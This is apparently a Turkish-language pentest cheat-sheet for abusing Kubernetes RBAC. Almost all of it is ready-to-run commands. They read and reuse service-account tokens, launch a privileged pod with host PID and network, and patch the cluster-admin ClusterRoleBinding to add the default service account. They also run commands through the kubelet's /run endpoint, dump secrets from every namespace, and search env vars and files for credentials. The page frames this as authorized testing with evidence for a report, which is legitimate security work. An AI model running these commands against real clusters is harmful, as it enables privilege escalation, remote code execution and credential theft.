Skip to content

Abusing Roles/ClusterRoles in Kubernetes

K8s enum

Abusing Roles/ClusterRoles in Kubernetes — Kubernetes / OpenShift ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Çağıran kimliği ve etkili izinleri netleştir.

  2. Servise özel kaynak envanteri çıkar (liste + describe).

  3. Secret, trust policy ve yazma yüzeyi adaylarını işaretle.

  4. Bir sonraki privesc / veri / RCE hipotezini kilitle.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
kubectl config current-context
Terminal window
kubectl auth can-i --list
Terminal window
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40

Abusing Roles/ClusterRoles in Kubernetes için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
Terminal window
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
Terminal window
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
Terminal window
kubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -u
Terminal window
kubectl create -f evil-pod.yaml
Terminal window
kubectl exec -it POD -n NS -- /bin/sh
Terminal window
kubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'
Terminal window
kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'
Terminal window
curl -k https://$NODE:10250/runningpods/
Terminal window
curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'
Terminal window
kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
Terminal window
kubectl get networkpolicies -A
Terminal window
kubectl get scc 2>/dev/null || oc get scc
Terminal window
kubectl auth can-i --list

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt
Terminal window
kubectl auth can-i create pods --all-namespaces
Terminal window
kubectl auth can-i get secrets --all-namespaces
Terminal window
kubectl auth can-i create clusterrolebinding
Terminal window
kubectl get ns
Terminal window
kubectl get pods,sa,secrets,roles,rolebindings -A
Terminal window
kubectl get clusterroles,clusterrolebindings
Terminal window
kubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'
Terminal window
cat /var/run/secrets/kubernetes.io/serviceaccount/token